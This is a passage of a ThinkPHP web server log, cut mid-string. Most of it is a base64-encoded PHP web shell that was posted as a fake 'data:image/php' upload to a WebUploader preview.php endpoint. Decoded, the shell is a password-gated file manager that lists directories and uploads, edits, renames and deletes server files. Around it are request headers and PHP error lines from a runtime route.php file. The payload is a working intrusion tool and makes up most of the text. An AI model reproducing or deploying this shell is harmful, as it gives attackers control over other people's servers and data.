iAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:44+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/static/webuploader/0.1.5/server/preview.php [运行时间:0.002738s] [吞吐率:365.23req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg